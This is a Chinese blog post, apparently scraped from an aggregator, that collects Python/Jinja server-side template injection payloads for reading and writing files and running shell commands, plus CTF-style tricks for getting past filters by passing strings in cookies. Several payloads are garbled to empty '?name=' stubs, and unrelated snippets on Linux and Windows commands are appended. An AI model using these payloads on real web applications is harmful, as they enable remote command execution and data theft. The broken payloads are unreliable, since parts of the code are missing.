SSTI 命令執行的一些總結

2021-10-19 12:00:37 字數 2019 閱讀 9757

//獲取基本類

''.__class__.__mro__[1]

{}.__class__.__bases__[0]

().__class__.__bases__[0]

.__class__.__bases__[0]

object

//讀檔案

().__class__.__bases__[0].__subclasses__()[40](r'c:\1.php').read()

object.__subclasses__()[40](r'c:\1.php').read()

//寫檔案

().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')

//執行任意命令

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

我就總結一下payload的形式

1.name=}

2.?name=}

這兩個都能執行cat /flag

又可以拓展為

?name=}&x1=__builtins__&x2=__import__('os').popen('cat /flag').read()

如果get被過濾了__builtins____import__('os').popen('cat /flag').read()之類的還可以把他們放在cookie裡 用cooikies裡面傳值

?name=}

cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()

如果過濾了.__init__.__globals__.__getitem__這些也可以一起弄成變數傳cookie

比如?name=}

cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()

終極**

?name=

?name=

如果過濾了print

?name= abc

cmd由下面**生成

Linux一些命令總結

linux下檔案的複製 移動與刪除 檢視centos 版本 cat etc redhat release 1,複製貼上檔案 cp 選項 原始檔或目錄 目標檔案或目錄 2,剪下貼上檔案 mv 選項 原始檔或目錄 目標檔案或目錄 3,刪除檔案 rm 檔案 慎用 rm rf linux下檔案的複製 移動與...

一些常用執行命令和CMD命令

執行命令 1.進入服務頁面的命令 services.msc 2.遠端連線命令 mstsc.exe 3.配置電腦啟動項 msconfig 4.計算器 calc.exe 5.設定關機時間 second shutdown s t 3600 6.取消關機 shutdown a 7.開啟資源管理器 explo...

常用的一些linux命令總結

ps 檢視系統程序執行緒,我一般都是用這個命令檢視程序pid的,然後用pid做更深入的排查。基本用法 ps aux 檢視所有程序 ps t p 檢視某個程序的執行緒 參考資料 10個重要的linux ps命令實戰 檢視系統程序樹,他可以把各個程序之間的關係用樹形結構標識出來。基本用法 pstree ...